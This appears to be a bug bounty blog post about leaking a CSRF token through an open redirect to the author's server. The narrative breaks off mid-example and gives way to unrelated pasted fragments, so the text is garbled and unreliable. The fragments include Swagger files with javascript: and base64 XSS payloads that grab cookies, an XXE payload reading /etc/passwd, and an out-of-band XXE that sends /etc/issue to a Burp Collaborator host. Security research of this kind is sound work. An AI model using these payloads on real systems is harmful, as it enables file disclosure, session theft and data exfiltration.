pranav1hivarekar

You do not need to run 80 reconnaissance tools to get access to user accounts

An open redirect was almost everything I needed in two different bug bounty programs to get access to user accounts. In one of the cases a JWT was leaked, and in the other the CSRF token was leaked. The issue was mostly the same in both cases: not validating, or URI encoding, user input in the client-side, and sending sensitive information to my server using an open redirect.

CSRF token bug

There is an open redirect on https://example.com/redirect?url=https://myserver.com/attack.php
User loads https://example.com/?code=VALUE
Javascript code in https://example.com/ makes a GET request to https://example.com/verify/VALUE with a header x-csrf-token set to the CSRF token for the session of the user
```
GET /verify/VALUE HTTP/1.1
Host: example.com
```

	swagger: '2.0'
	securityDefinitions:
	a:
	type: oauth2
	authorizationUrl: javascript:alert(document.domain)//
	info:
	version: "0.0.1"
	title: Example Title
	description: Click here for <a href="https://cobalt.io">Information</a>

	<html>
	<body>




	<h1>The XMLHttpRequest Object</h1>

	<button type="button" onclick="loadDoc()">Request data</button>

	swagger: "2.0"
	info:
	title: "Swagger Sample App"
	description: "Please to click Terms of service"
	termsOfService: "data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"
	contact:
	name: "API Support"
	url: "java%0Ascript:%0Aalert(document.cookie);//"
	email: "javascript:%0Aalert(document.cookie)"
	version: "1.0.1"

	<?xml version="1.0" encoding="UTF-8"?>
	<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:cc="http://web.resource.org/cc/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:media="http://search.yahoo.com/mrss/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
	<channel>
	<atom:link href="http://dataskeptic.libsyn.com/rss" rel="self" type="application/rss+xml"/>
	<title>Data Skeptic</title>
	<pubDate>Fri, 15 Jan 2016 15:00:00 +0000</pubDate>
	<lastBuildDate>Fri, 15 Jan 2016 15:08:58 +0000</lastBuildDate>
	<generator>Libsyn WebEngine 2.0</generator>
	<link>http://dataskeptic.com</link>
	<language>en</language>

	<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE title [ <!ELEMENT title ANY >
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
	<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
	<title>&xxe;</title>
	<link>http://example.com/</link>
	<description>A blog about things</description>
	<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
	<item>

	<!ENTITY % file SYSTEM "file:///etc/issue">
	<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://7emscc550ck73ff2k9amwlwuwl2bq0.burpcollaborator.net?%file;'>">
	%p2;